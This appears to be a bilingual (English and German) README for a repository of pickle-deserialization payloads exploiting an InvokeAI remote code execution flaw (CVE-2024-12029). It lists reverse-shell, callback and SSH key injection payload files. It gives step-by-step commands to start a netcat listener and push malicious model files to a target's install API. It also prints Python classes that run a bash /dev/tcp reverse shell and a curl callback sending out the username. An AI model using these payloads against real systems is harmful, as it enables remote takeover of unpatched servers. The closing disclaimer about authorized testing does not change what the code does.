
This repository contains alternative payload approaches for the InvokeAI RCE vulnerability (CVE-2024-12029) when SSH key injection fails. The payloads are designed to test if pickle deserialization is actually occurring and provide alternative access methods.
Dieses Repository enthält alternative Payload-Ansätze für die InvokeAI-RCE-Schwachstelle (CVE-2024-12029), wenn die SSH-Schlüsselinjektion fehlschlägt. Die Payloads wurden entwickelt, um zu testen, ob eine Pickle-Deserialisierung tatsächlich stattfindet, und bieten alternative Zugriffsmethoden.
Wenn SSH-Schlüsselinjektions-Payloads erfolgreich zugestellt werden (Status 201), der SSH-Zugriff jedoch weiterhin ein Passwort erfordert, deutet dies auf Folgendes hin:
payload_reverse_bash.ckpt (89 Bytes) - Bash-Reverse-Shellpayload_reverse_python.ckpt (267 Bytes) - Python-Reverse-Shellpayload_reverse_nc.ckpt (70 Bytes) - Netcat-Reverse-Shellpayload_callback_test.ckpt (115 Bytes) - HTTP-Callback zur Verifizierung der Deserialisierungpayload_test.ckpt (90 Bytes) - Einfacher Dateierstellungstestpayload_alt_exec.ckpt (223 Bytes) - Alternative Ausführungsmethodepayload_ssh_simple.ckpt (271 Bytes) - Linux-kompatible SSH-Schlüsselinjektionkali_reverse_test.py - Umfassende Testsuitereverse_shell_payload.py - Reverse-Shell-Payloads erzeugenpython web_server.py --port 8000
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txt auf dem Zielsystemclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load()-SchwachstelleDieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Die Nutzer sind dafür verantwortlich, sicherzustellen, dass sie über die entsprechende Autorisierung verfügen, bevor sie Systeme testen.